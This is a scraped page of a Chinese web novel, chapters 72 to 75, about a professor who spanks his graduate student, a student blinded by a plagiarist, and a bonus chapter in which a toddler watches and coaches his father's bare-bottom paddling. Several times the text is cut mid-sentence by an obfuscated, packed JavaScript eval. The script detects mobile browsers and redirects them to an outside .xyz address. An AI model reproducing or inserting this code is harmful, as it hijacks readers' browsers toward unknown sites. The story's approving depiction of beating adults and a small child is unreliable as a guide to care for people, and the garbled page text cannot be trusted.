;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909999|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斥的次数不少,气得眼前发黑的也不止一回两回,可没有哪一次像今日,他使出了全身的劲,统统落在戒尺上,砸在眼前那两团肉上,想打得他皮开肉绽,打得他跪地求饶,打得他口不择言地说不是。 可是他什么也没有听到。 除了戒尺着肉的“啪啪啪”声。 打到最后,纪慎手臂酸软,一戒尺抽下去,臀尖冒出了几颗血珠。他喘出一口粗气,道:“你真想退学是不是?” 庄遂平腿似乎麻了,膝盖一弯,撞在办公桌底下的柜子门上,生疼。浑身都疼,心里也疼。 “好,我给你半个月,半个月后你还想退学,我去帮你办手续。”纪慎狠狠地将戒尺往桌上一砸,“起来,滚出去!” 半个月,庄遂平在心里重复了一遍,想,他还可以沿着墙根挪半个月,虽然半个月后很有可能还是要跳下这个悬崖。 他撑着桌子缓缓站起,低垂脑袋忍痛穿上裤子,沉默着往门口走。 他甚至没有告别。 看见庄遂平开门的瞬间,纪慎眉心狠狠一跳,仿佛他这一去,就再不会回来了。可正要开口,电话却响了起来,他不得已,只能看着庄遂平离开,气闷地接起电话:“您好,哦,童院,我在,现在吗?我就来。” 庄遂平从纪慎办公室出来,没有回到校对室。他走下楼,走出学院门口,走到校道上,呆呆地往教师宿舍区的方向去了。 屁股伤得不轻,每走一步对他来说都是折磨,可是他不知哪里来的耐力,竟然一步步走到了严先生家里。 他抬手敲门,等了一会儿,便看见门开了,刘巍思一咧嘴,赶紧让他进来:“遂平,你怎么来了?” 客厅有点乱,刘巍思还挺不好意思,赶紧收拾:“遂平,你自己坐会儿,我上午跟老师说我的文章,本来说晚点收拾的,但是老师刚刚被叫去开会了,刚走一会,你就来了。要是你来早一点,说不定老师就要出去买菜了,也省得去开会。” 庄遂平屁股疼,没有坐,只是站在一旁,静静地看着他。 刘巍思三下五除二把东西归位,再看庄遂平,神色平静,却太过平静了,宛若一潭死水。 “遂平,你怎么了?” 庄遂平嘴角一牵,笑得吃力:“巍思,我想,在你们这里住半个月,半个月就好。” 刘巍思想,遂平是和阅冬吵架了吗?还是发生别的事了? “遂平,你想在这里住多久都可以,但你要告诉我,出什么事了?” 庄遂平摇摇头:“没事,半个月以后就好了。” 72.第 72 章 童院长紧急召集了古代文学和文献学两个专业的老师来开会,是因为秦昭阳一大清早就来电话说他这个学期要照顾柏阅冬,无暇上课,只能请童院长另行安排。 事发突然,只得让严先生接秦昭阳的研究生课程,纪慎和易堂生接他的本科生课程。 至于柏阅冬到底出了什么事,以至于需要秦昭阳照顾一学期,大家都一头雾水,既担心这那师徒俩,又怕问得不当,最后决定先让童院长和纪慎代表学院去慰问,摸清楚情况以后在回来跟大家说。 秦昭阳得知此事,跟童院长约好时间,提前到医院门口接他们,顺便通一下气:“童院,纪老师,等会你们在阅冬面前不要提我推掉课程的事。” 童院长边走边问:“到底怎么了?那天下午还好好的,我还跟他说,让他写信给周先生呢,怎么就搞到住院了?” 医院里满是消毒水的刺鼻气味,走廊里身着白色大褂的医生护士来去匆匆,童院长和纪慎显然有点不适应,但秦昭阳却泰然自若:“事情有点复杂,您二位先去看他吧。” “有什么要注意的吗?”纪慎问。 秦昭阳摇摇头:“他现在还好。” 柏阅冬住在一个三人间里,半躺在最里面的一张病床上看书,右眼上是今早新换的纱布,雪白异常。听见脚步声,他歪着脑袋看过去,咧出一个笑:“童院长好,纪老师好。” 最先走过来的是秦昭阳,瞟了一眼翻开的那页书,嗔怪道:“在这里偷懒呢,我出去的时候就是这页,现在还是这页!” “哪有偷懒?一只眼睛看得特别慢!”柏阅冬不客气地回应。 伤口都被遮住了,可童院长还是被他这模样吓了一跳:“怎么就伤到眼睛了呢?这、这多久能好啊?” 柏阅冬一点也不怕,仰起头道:“今天没那么疼了,应该快好啦!” 柏阅冬可是学院的宝贝,童院长摸摸他的头,不禁心疼起来:“不疼就好,这小小年纪的,要是伤到眼睛可怎么办?” 纪慎适时打趣道:“阅冬,你不会破相吧?以后可要找不到对象了!” “纪老师!”柏阅冬大吼一声,“我已经有……我、我不会破相!” 纪慎朗笑道:“没事,你长得帅,破一点不要紧,你们几个,肯定是你最先谈对象。” 柏阅冬心虚得很,不想在师父面前谈这个,赶紧转移话题:“我最先毕业还差不多!等我写完论文,我就要申请提前毕业。” “好啊,只要你能写得完,什么时候毕业都行。” 柏阅冬高高兴兴地跟纪慎聊了好久,直到童院长提出要走,他才恋恋不舍地跟两位老师挥手再见。秦昭阳让他赶紧歇着,便陪着童院长和纪慎出去了。 殊不知柏阅冬为了和纪慎聊天,憋一泡尿憋了好久,待他们几个离开病房,便下了床,穿好鞋,离开病房到走廊尽头的厕所尿尿去了。 童院长和纪慎倒也没马上离开,还在走廊上谈着柏阅冬的病情,秦昭阳把受伤的经过一说,两人都沉默了。 “姜新宇吗?”纪慎眉头紧锁,显然也认为这事相当棘手。姜家在学校里是无人不知无人不晓的,当初姜新宇上纪慎的课,也好几次提出过要入纪慎的门,纪慎每次都找借口把话题绕了过去,后来姜新宇到了严先生那里,他才松了一口气。 “阅冬是这么说的,但是并没有人能作证。” 童院长长吁短叹,最后只问:“阅冬的眼睛呢?什么时候能恢复?” 柏阅冬从厕所出来,仅剩的左眼瞥见那几个老师还在聊天,每个人都拉着嘴角,很不高兴的样子。他好奇地沿着墙根偷偷靠近,想要听听他们在说什么。 他看见老师不断打着手势,仿佛长篇大论,童院长和纪老师越听越沉重,仿佛正在说什么噩耗。 “那这个意思是,失明?完全失明?” 秦昭阳点点头:“是这样,右眼没办法再看见了,最多会有一些光感,我还没有和他说。” “那怎么办呢?你也不能不告诉他。” “我知道,我再看看情况,等时机好一点再说。”秦昭阳扯出一个笑,带着他们俩往楼梯去,“我先送您二位出去吧,今天来一趟,也耽误不少事,我替阅冬谢过二位老师。” 童院长和纪慎跟着他走,安慰道:“我们耽误不了什么,倒是你辛苦了,学校的事你不用担心,我们都安排妥当了,你照顾好阅冬。” “我明白。” 晚上,严先生正在家里和俩孩子吃饭呢,电话就响了。刘巍思放下筷子就要去接电话,严先生却摆摆手,自个儿起身去了。 “您好!纪慎啊!” 庄遂平听到这一声,身体都僵了,不由自主往严先生那边看去。 严先生脸上的笑意渐渐消失了,取而代之的是一股沉重的担忧:“很严重吗?” “如果这个事情跟新宇有关系,我是一定要出面的。” “好,我知道了,我明天就去。” 说了这么几句,刘巍思也注意到事情不妙,没等老师放好电话听筒呢,就赶紧起身过来了。 “老师,纪老师说什么了?” 严先生心里堵得慌:“冬冬出事了,在医院里头住着呢,你纪老师说情况不是很好,还说,可能跟新宇有关系。” “是不是那篇文章的事?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919201|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“可能是,我明天得去姜家一趟。” “我陪老师去!” 严先生抓着他的手,道:“你别去,我让你大师兄陪我去。你和小庄这两天要是没事,就一块儿去看看冬冬吧。” 刘巍思没办法,只得点点头:“好,我知道了。” 次日一早,刘巍思问纪慎要了柏阅冬住的医院和病房信息,和庄遂平一块买了一篮子苹果和香蕉上医院去了。 两个人一路上兴致都不高,不知道见了面该说什么,可他们才刚到病房门口,就听见柏阅冬愤怒的吼叫:“为什么你就是不相信我?!我说了是姜新宇,是姜新宇!” 紧接着传出的是秦昭阳安抚的声音:“我不是不信你,是没有证据,没有证人!” “有的,有的!”柏阅冬急急道,“晩亭看见我去找他了,晩亭也送我来医院了,她可以证明!” “可她没有看见是姜新宇把你弄成这样的!” “啊啊啊啊!”柏阅冬嘶吼了一阵,大哭道,“你为什么这样?你为什么要偏袒姜新宇?他抢了我的文章!他弄瞎了我的眼睛!师父!我瞎了!我瞎了!!” 门外刘巍思和庄遂平对视一眼,两人都震惊不已,连呼吸都停止了。 秦昭阳还在安抚他:“阅冬,你别哭,伤口不好愈合的。” “我都瞎了还管什么伤口呢?”柏阅冬眼泪“哗哗”往外淌,“他们都看见了,看见我去找姜新宇,晩亭看见了,盛超也看见了,还有,对,还有童院长!他也看见了的!他还说让我给周先生写信,童院长可以给我作证的!” “阅冬,不是他们不给你作证,只是,你去找姜新宇和你后来受伤没有必然的联系,就算他们看见你去找姜新宇了,也不能证明是姜新宇弄伤你的。” 柏阅冬左眼眨了眨,又“唰”地淌下一道新鲜的眼泪。他记得,童院长很喜欢他的,好几次都说他是学院最好的研究生,是一颗冉冉升起的学术新星,可是,他的新星就要被摧毁了,他怎么能不作证呢? “严老师呢?严老师怎么说?” “严老师今天去姜家了,他说一定会让学报撤稿的,文章会要回来的。” 言外之意,严先生只能做到这一步,想要通过严先生制裁姜新宇,是不可能的。 柏阅冬慢慢地不流泪了,只是一脸枯槁:“纪老师呢?” “阅冬,纪老师只是个局外人。” 柏阅冬灰败地点了点头,无神地望向窗外,再没有说话。 曾经那些喜欢他爱护他的老师,到了要挑战更大势力的时候,都选择了退缩。 他从来就不应该对这些老师抱有什么期待。 73.打人指导庄苗苗[番外] 纪慎到庄遂平家里的时候吓了一跳,苗苗小朋友居然还在家里。 纪慎不言语,瞪了一眼庄遂平,责怪他不懂事。庄遂平也很无奈,道:“昨天说好了今天去外婆家的,今天早上怎么也不肯出门,妈妈赶着上班,只好把他留在家里了。” “爷爷来了!”还不到三岁的苗苗“蹬蹬蹬”跑到纪慎身边,肉肉的小手臂紧紧环住爷爷的大腿,以此表达他对爷爷的热烈欢迎。 只是爷爷今天不是来陪他玩的,弯下腰道:“苗苗听话,自己回房去玩好不好?” 苗苗从小就黏人,最喜欢一大群人围坐一圈的大场面,如果人比较少,他就喜欢和大人一起,最不济就是和同龄人一块玩,要是让他一个人玩,他可就要哭了。?因此,听到爷爷的话,苗苗立刻撅起嘴,皱着小眉头:“苗苗要和爷爷还有爸爸一起玩。” 庄遂平赶紧上前牵过苗苗,边往儿童房走边道:“苗苗乖,师爷和爸爸有事情,你先玩一会儿,爸爸等会带你出去买酸奶。” 苗苗站在房间门口,两手在身前抠着,很委屈的样子:“爷爷和爸爸有事情,苗苗可以帮忙。” 嘶——这种事情,你要怎么帮忙啊? “爷爷,”苗苗嘴一扁,哭腔都出来了,“让苗苗帮爷爷吧。” 师生俩对视一眼,在庄苗苗面前败下阵来。 “你,坐在这里,不要动。”纪慎给小孩指了个位置,看他乖乖坐好,夸道,“苗苗真棒。” 苗苗倒是坐得乖,可是却看见爸爸跪在旁边的单人沙发上,一脸为难的样子,好奇地问:“那爷爷和爸爸要做什么?” “爷爷和爸爸不做什么,你就乖乖坐着,不许说话,不许动,知道没有?” 不等苗苗回答,纪慎便转过头去,回来比对了一下位置,确认他站在庄遂平左后方可以完全挡住孩子的视线:“行,就这样吧。” 庄遂平哪里脱得下裤子?“老师,苗苗会看到。” “那我有什么办法?知道要挨打的是你,送不走小孩的也是你,活该你被他看!” 庄遂平咬咬下嘴唇,自欺欺人地扭过头去,一咬牙,一狠心,把裤子褪到了大腿。 家法盒子放在茶几上,纪慎弯腰打开盒子,取出里头的乌黑木板子,却没注意到身后的苗苗左晃右晃,还歪歪扭扭地站上沙发,早把爸爸的光屁股看了个遍:“爸爸脱裤子了,爷爷是要打爸爸吗?就像爸爸打我那样。” 庄遂平脸一下红到脖子根,艰难道:“老师……” “苗苗听话,坐好。” 可是苗苗哪里还坐得住?立刻爬下沙发,连鞋子都不穿,光脚就往书房里去了。纪慎手里拿着板子,一头雾水,不一会儿看见庄苗苗拿着一块薄薄都竹板子出来:“爷爷!爷爷!用苗苗的竹板子打,痛痛!爸爸都是用这个打苗苗的!” 纪慎掂了掂手里的木板子,心想这东西可比你的竹板子厉害多了:“那是苗苗的,这才是苗苗爸爸的,苗苗坐好,不然爷爷不带你去玩了。” 苗苗低头看着竹板子,很可惜的样子,他的竹板子真的很厉害呀,爸爸打他的时候“啪啪”响,打得他“哇哇”哭。可是爷爷不用,他也没办法,只好抱着自己可怜的竹板子坐了下来。 庄遂平脸颊发烫,恨不得找个地洞钻进去,余光瞥见老师站近了,赶紧压低声音道:“老师,快些打吧。” “这板子快得了吗?”纪慎提着木板子在他大腿上轻轻拍了拍,“现在知道羞了?屁股给我撅起来!” “老师!苗苗在这里!” “苗苗在这里也得打啊!” 庄遂平欲哭无泪,只得埋下脑袋,默默塌腰撅起屁股。 太羞耻了太羞耻了! 板子在臀上拍了两下,像是提醒,庄遂平紧紧抱住沙发靠背,做好准备迎接板子带来的剧痛,可苗苗的声音突然脆生生地响起:“爷爷!要打屁股尖尖!” 庄遂平腰一软,整个瘫了下去,真的吓死人了! 纪慎憋笑快憋出内伤,拍了拍庄遂平让他撅好,头也不回道:“爷爷知道了,苗苗乖乖坐着。” “爷爷会打吗?苗苗可以教爷爷,打屁股尖尖最痛,爸爸都是打苗苗屁股尖尖。” 庄遂平用尽力气才重新摆好姿势,听着苗苗的话,只觉得以前打他,现在都被报复回来了。 纪慎左手从庄遂平肚子底下穿过,托住他,右手抬起板子,“啪”一声对准臀尖落了下去。 “唔……” 臀上炸开火辣的疼痛,庄遂平往常都会大喊的,可是苗苗在这里,所有的痛呼都忍了回去。 歇了几秒,板子再次重重落下,“啪”的声响回荡在屋子里,有些骇人。可苗苗不知是不是被打多了,竟不觉得害怕,反倒好奇起来,便偷偷地往反方向挪,直到看见爸爸通红的屁股。 “啪!”爸爸的光屁股又挨了一下,两团肉一弹一弹的,虽然都打红了,可是爸爸都没有喊。 “啪!” “呃……” “这才几下。” “老师,这板子有多重,您又不是不知道。” 纪慎和庄遂平都知道,可苗苗不知道,见爸爸还能和爷爷说话,立刻道:“爷爷没有用力,爸爸都不痛,爸爸说打屁股要打得痛痛才有用。” 庄遂平第一反应不是羞耻,而是惊恐,老师不会真的听信这死小孩的胡说八道吧? “老师,别……别……” 纪慎轻笑出声:“知道怕了?我记得你以前很爱挨这块板子。” 庄遂平脸更红了,那是他刚和老师和好的时候,总是想尽办法要证明老师待自己是不同的,那些蠢方法里也包括以各种形式讨打,可是,他现在不需要了啊! “老师,”庄遂平声音轻颤,“我、我可以挨,挨多少都可以,但是,但是苗苗、苗苗还在这里。” “苗苗很乖,是你教得好,他记得住你说的话,”纪慎放轻了声音,调侃似的,“打屁股要打得痛痛才有用?” “老师,那是、那是对苗苗……” “对你也一样,撅好,别乱动。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苗苗总觉得这个操作似曾相识,两手把头发挠得乱乱的,终于想起来了:“爷爷!爷爷是不是要让爸爸光屁股站?爸爸让苗苗光屁股站的时候,也是叫妈妈出去的。” 纪慎真要被他笑死了,招招手让他过来:“小机灵鬼,尽是让你爸爸头疼!” “那爷爷快去给爸爸摸摸,吹吹,摸摸吹吹就不疼了。”苗苗拉着爷爷起身,牵着爷爷的手放在爸爸头上,“爸爸还疼不疼?” 庄遂平满心无奈,却只能道:“爸爸不疼。” 纪慎一边给庄遂平揉伤一边问苗苗:“你怎么不给你爸爸摸摸吹吹?” “要自己的爸爸摸摸吹吹才有用。”苗苗一本正经地回答,“爸爸给苗苗摸摸吹吹,爷爷给爸爸摸摸吹吹。” 庄遂平听着这话,鬼使神差地抬头看了老师一眼,正好对上老师带笑的目光,又不好意思地移开了。 “爷爷等会要带爸爸去买糖葫芦吗?” “你爸爸大了,不喜欢吃糖葫芦了。” “那爸爸喜欢吃什么?爷爷给爸爸买。” 纪慎拍了拍庄遂平,问:“你喜欢吃什么?” 庄遂平又羞又烦,恼道:“吃小孩!” 纪慎大笑出声,一巴掌拍在他的光屁股上。 74.第 74 章 “秦老师。”待病房安静了一阵,刘巍思和庄遂平才一前一后走进去,跟秦昭阳问好。 秦昭阳一脸疲惫,几乎用尽力气才牵动脸部肌肉扯出一个笑来,算是回应他们,又弯下腰道:“阅冬,巍思和遂平来看你了。” 柏阅冬侧躺在床上,把米白的被子往上卷了卷,想要遮住脑袋。 秦昭阳叹声气,强打起精神道:“你们聊一会吧,我去下厕所。”说着便迈步出去了,将空间留给了他们三个。 庄遂平把水果篮子放在床头柜上,问他感觉怎么样,柏阅冬没有回答。大家便都默契地不再说话。 三人间的病房,每张病床中间架了一个屏风,隔出一个并不私密的空间,沉默时,刘巍思和庄遂平还能听到屏风外面的病患和家属聊天的声音。 但外头的两张病床上都是年纪稍大一些的中年人,过了会又没声了,柏阅冬细细弱弱的哭声从被子里传出来。 刘巍思扯了扯被子,轻声道:“阅冬,闷着了。” 被子很轻易就被扯开了,柏阅冬帅气的脸上,白色纱布占据了大约四分之一,眼泪不断从左边眼睛淌下,也逐渐打湿了厚厚的纱布。 “巍思,是姜新宇,是姜新宇……” “我知道,我相信你。” 柏阅冬嚎啕一声,大哭起来,他说了好多天,可是师父不断强调没有人能证明,他在一遍遍回忆当时寻找证人证据的过程中,逐渐孤立无援,就好像他珍贵的右眼是被他自己弄瞎然后栽赃嫁祸给姜新宇似的。直到现在,终于有人说相信他了。 可是,相信归相信,他的眼睛,还是回不来了。 “巍思,”柏阅冬抬手擦掉脸上的泪,哭道,“我没有以后了,我没有以后了!” “不是的,阅冬,”刘巍思一边拍着他的背一边安慰,“虽然右眼受伤了,可是还有左眼,你还是一样聪明、博学,你的那些成果还是你的,你也可以继续做你想做的事。退一万步说,你还有家人,还有很多选择!” 柏阅冬趴在他的肩上,哭得上气不接下气,惹得刘巍思眼眶也跟着红了,偷偷抹了好几次眼角。 庄遂平一直默默看着,没有说话。他想,太过耀眼也许并不是好事,优秀如阅冬,也会遭遇不测风云,那么,他又何苦执着于获得纪慎的肯定呢? 反正,他竭尽全力也得不到,不如,就算了。 柏阅冬哭了一阵,缓缓停下来,因为蜇了伤口,得让护士来换药,便催着他们回去了。刘巍思站起来,握着他的手,让他好好休息,别想太多。他点头应了,再看向庄遂平,庄遂平却只是笑笑,说:“我走了。” 柏阅冬总觉得这句话有点怪,却无暇去想,只道:“再见。” 那天晚上,庄遂平又做了噩梦,梦里他像柏阅冬一样,右眼受伤了,却还是光着屁股趴在纪慎的办公桌上:“老师,是盛超抄了我的文章,那是我的。” 皮带狠戾地落在他的光屁股上,抽得他浑身战栗,他握紧了拳头,一连挨过十几下,整个屁股都火辣辣地疼。 纪慎冷漠的声音传来:“你也不看看自己是什么东西?盛超看得上你的文章?你有哪一点比得过盛超?有哪一点像我的学生?” 庄遂平哭了,眼泪不似柏阅冬那样打湿纱布,而是直直流淌下来:“老师说我不像,可我就是老师的学生啊!” “你以为我想收你?我都不知道你是怎么考上来的!论文不会写,不尊重老师,见了人又呆又傻,我这么多年没见过你这么蠢的人!”纪慎说着,抬手扬起皮带“啪啪啪”抽了下去,一声声的脆响下是一个饱受摧残的紫红色屁股。庄遂平忍受不住这样的疼痛,左右扭动起来,哭着求饶:“老师饶了我!老师饶了我!不要打不要打!” “别的不会就算了,连这点疼都受不住,你是不是真不想学了?!” “我不学了,我不学了!放过我放过我!” “老师求求您,放了我吧!” “老师,老师,老师……” 刘巍思在睡梦中迷迷糊糊醒了,只听身侧不断传来痛苦的呼唤,是庄遂平一声声地叫着老师,含糊不清的吐字夹杂着隐约的哭腔。刘巍思顿时清醒了,伸手按亮床头的小灯,借着昏黄的灯光,他看见庄遂平脑袋不安地扭动着,发根似乎湿了。 “遂平,遂平。”刘巍思轻轻叫了两声,却看见庄遂平神情更加痛苦,双眼紧闭,嘴唇上下翕动,喃喃叫着不要,眉头时不时皱起,像是在忍耐什么。 刘巍思意识到情况不对,立马摇着他的肩膀,用力晃醒他:“遂平,你醒醒!快醒醒!” “不要,不要!”庄遂平猛地睁开眼睛,愣住了。 刘巍思被这阵仗吓着了,一时不敢催他,片刻后才轻轻问:“遂平,你做梦了?” 庄遂平缓缓闭上眼,长长地出了一口气,再睁开眼时,脸上挂了抱歉的笑:“我吵醒你了。” “不要紧,你是不是做噩梦了?” 庄遂平没有回答,可刘巍思联想那天他过来的时候,不禁有些担忧,追问道:“你是不是出什么事了?” 庄遂平湿漉漉的眼睛里现出黯然,好一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930142|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才道:“巍思,我可能,要走了。” “走?走去哪里?” 庄遂平转过头来,看着他,一字一字道:“我要退学了。” 退学两个字带给刘巍思的震撼不亚于柏阅冬的失明。一天之内听到两个重磅消息,刘巍思反应不过来了:“为、为什么要退学?你退学了去哪里?” 可是庄遂平却笑了,笑得平静、释怀:“是我自己想退,我不是一个好学生,不聪明,不上进,不讨人喜欢,很难让老师满意,”他还是笑,可眼里渐渐多了些不甘,“巍思,我当初太自信了,我以为考上研究生就会有新的生活,我以为我愿意接受那些方式,他就会像对你一样对我,可是我没有办法成为你,没有办法成为他想要的学生。” “我努力过的,可是我、我做不到……” “你和阅冬都太优秀了,盛超也是,相比之下,我就显得又笨又呆,我一直都知道他不喜欢我……” 庄遂平断断续续地说了很多,说到最后脸上已经没有笑了,他正面仰躺在床上,右侧眼角渗出一颗饱满的泪珠,悄悄地没入了鬓角。 刘巍思不知该如何安慰,只得劝他再坚持坚持,还有一年半就毕业了,毕业之后一切都会不一样的,可庄遂平只道:“我没有退路了,是他说,半个月以后就签字让我走的。” 刘巍思简直不知道说什么好了,他的两个好同学,一个失明住院,一个抑郁退学,这都什么小说情节啊? “巍思,你别告诉别人,我想安安静静地走,反正,他也会很快忘记我的,他不会为我花心思的。” 刘巍思心里堵,睡意全无,却还是关了灯,劝他先睡了。 次日一早,刘巍思早早醒了,见庄遂平还睡着,便轻手轻脚出房去了。严先生正坐在客厅看报纸,见他出来,扶了扶老花镜,道:“小庄还没醒?桌上有早饭,你先吃。” 刘巍思哪有什么心情吃早饭?闷闷地到老师跟前,直接盘腿坐在地上,两手抱着老师的腰。 “怎么了?睡觉睡傻了?” “老师,要不您先打我一顿吧。” 严先生笑了:“看来是真睡傻了,求着挨打?” 刘巍思扬起头,说:“我知道了一个秘密,答应别人不说出去,可是这件事很重要,我想告诉老师,我觉得老师有办法帮他。我没有办法既做到遵守诺言又帮助他,所以只好牺牲我的屁股了。” 严先生揉揉他的脑袋:“不如你先说说是什么事,老师再斟酌斟酌要不要打你。” 刘巍思重重地点了点头:“嗯!” 75.第 75 章 姜家。 姜父在客厅里踱来踱去,每踱几步就要叹声气。姜母穿上灰蓝色的针织外套,拿了包就往外走。姜父见了,厉声叫住她:“你上哪儿去?” “我去实验室。”姜母漫不经心道。 “都这时候了还去什么实验室?”姜父指着蜷在椅子上的姜新宇道,“你儿子,抄人家的论文,还把人家弄瞎了!” 姜母不甘示弱,仰头吵起来:“什么我儿子?你没有份是不是?知道出事了就收拾烂摊子啊!吼我有什么用?” “那你告诉我怎么收拾?他以前欺负同学,打打架就算了,现在人家报案了!” “那还不赶紧去疏通关系?”姜母嘶声道,“难不成真让他去坐牢?” 姜父一噎,明知道这是最后的也是唯一的办法,可还是一肚子气,于是转而一脚踹在椅子上,对着蜷成一团的儿子骂道:“你看看你做的什么事?你爷爷你奶奶的脸都被你丢光了!现在半个学校都知道姜新宇抄袭!仗势欺人!你知不知道人家在背后怎么说我们家?” 姜新宇原本抱膝坐在椅子里,头埋得深深的,听父母吵了一阵,心中憋闷不已,这会矛头对准了自己,更是难受,猛地抬头反驳:“你们以为这是我想的吗?别人都有文章了,就我没有!我再不发文章,我就成不了柏阅冬了!我就没机会了!” “谁逼着你发文章了?是你自己非要去读什么文学!你当初肯听我们的,现在什么没有?” “那你有没有想过我为什么要去读文学?!”姜新宇眼眶通红,不管不顾地嘶吼,“从小到大,别人都只会说我是谁谁谁的孙子,谁谁谁的儿子,谁在乎过姜新宇?!我不离你们远远的,我还有什么可能?读你们的硕士博士?接你们的班?每天一醒就去实验室?生了个儿子就丢在家里不闻不问?你们什么时候关心过我?如果不是严煦和和易堂生上门了,如果不是柏阅冬报案了,你们会关心我抄了什么文章干了什么事吗?你们不会!不会!你们只关心实验什么时候出结果,只关心资金什么时候到位,只关心别人介绍你们的时候是教授还是什么主席!” 姜父姜母都愣住了,姜新宇两行泪直直淌下来,再出声,语气缓和了许多:“我也知道抄人家文章不对的,可是我有什么办法?老师把我丢在那里,只让我校对文献,我跟个本科生有什么两样?易堂生当时说过的,我可以接老师的班,可是老师只带刘巍思,眼里根本没有我!我不自己想办法还能怎么样?我也不想弄瞎柏阅冬的,我只是跟他打架了,我不知道他瞎了!他怎么这么容易就瞎了呢?他只能怪自己,怪不了别人!”说到最后,又吼了起来。 到底是自己生的儿子,见他这样委屈,姜父也不想再苛责他,只道:“你这几天呆在家里,哪儿也别去,听到没有?” 姜新宇吸吸鼻子,满是怀疑地盯着他爸看了好一会儿,才终于不情不愿地点了点头。 姜母似乎完全没把这件事放在心上:“那我去实验室了。” 客厅恢复了沉寂,仿佛什么也没发生。 这注定是不平凡的一天,下午一个春雷响起,淅淅沥沥地下了一场春雨。纪慎从家里出发去严先生那里,路上打湿了右侧衣袖,有些狼狈。 不过这点狼狈算不了什么,当他走进严先生的家,看见庄遂平坐在客厅时,眼中一瞬间闪过疑惑、愤怒、担忧各种情绪,但他迅速控制住自己,摆出笑脸:“严老师好,学生来叨扰了。” 刘巍思从厨房端了刚煮的茶出来:“纪老师好。” 庄遂平没有问好,只是静静坐着。严先生笑道:“巍思,茶端到书房吧,我跟你们纪老师聊一聊,你和小庄出去走走?” 刘巍思点点头,帮老师们端了茶,收拾干净书房,摆好椅子,才道别出去。 虽然只有两个人,但严先生还是关上了书房门,和纪慎隔桌对坐,非常正式。 纪慎也确实被这阵仗吓到了,见严先生坐了,才战战兢兢坐下,腰板挺得直直的,丝毫不敢放松,笑问:“老师叫学生来,是有什么事吗?” 纪慎读大学的时候曾上过严先生两门课,那时候尊师重道比如今更夸张,学生们路上见了老师都要恭恭敬敬地鞠躬问好,站在一旁等老师走了才敢动,因而纪慎到了这时候,严格来说他已经成为了严先生的领导,却还是要在严先生面前自称老师。 严先生向来是不大爱摆师长架子的,平日待人温和如春风,就算别人做得有什么不对的,也只是委婉地提点一两句,像这样正儿八经地谈话,确实少见。 “纪慎,我记得你那时候上学,总是穿蓝色和黑色衣裳,上课爱跟别人辩论,说不赢就不停,谁都拉不住你。一转眼,你也当老师了。” 纪慎不好意思地笑笑,心里却知道严先生要说什么了:“老师就别埋汰我了。” “纪老先生呢?有没有跟你说过什么?”严先生提起茶壶,往小杯子里倒了茶,将其中一杯往纪慎那边推了推。 纪慎有些尴尬地摸摸鼻子:“老师知道的,我跟我爸就那样,也有很长一段时间不说话了。” 纪家三代,只有隔辈亲,父子之间的关系总是很淡漠,纪慎与他父亲如此,与自己的儿子也如此。 严先生毫不意外,点点头道:“我本不想多话,只是总没人提点你,也是不成的。” “学生做得有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931611|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不妥的,老师尽管说,学生感激不尽。” “小庄是怎么回事?” 纪慎顿时愣了,没想到严先生这么快就切入正题,一时间不知该如何回答,端起茶装模作样地喝了一口,反问:“那孩子跟老师说什么了?” “纪慎,他不是会告状的人,你该知道的。” 纪慎想想也是,庄遂平在他这里如何挨打受委屈,却从不曾说人是非,这一点确实难得。 “当年和我一起给你们上课的老头子,现在死的死,散的散,我们这也只剩不到十个人了,可是我不记得有谁是这样当老师给你看的。” 纪慎脑子里的筋一抽,立刻站了起来,垂着头,不敢说话。 “师生一场,是缘分,也是责任。学生资质如何不是我们能决定的,你若只喜欢聪明孩子来成全你的名声,倒不如早些弃了这条路,做别的行当去。” 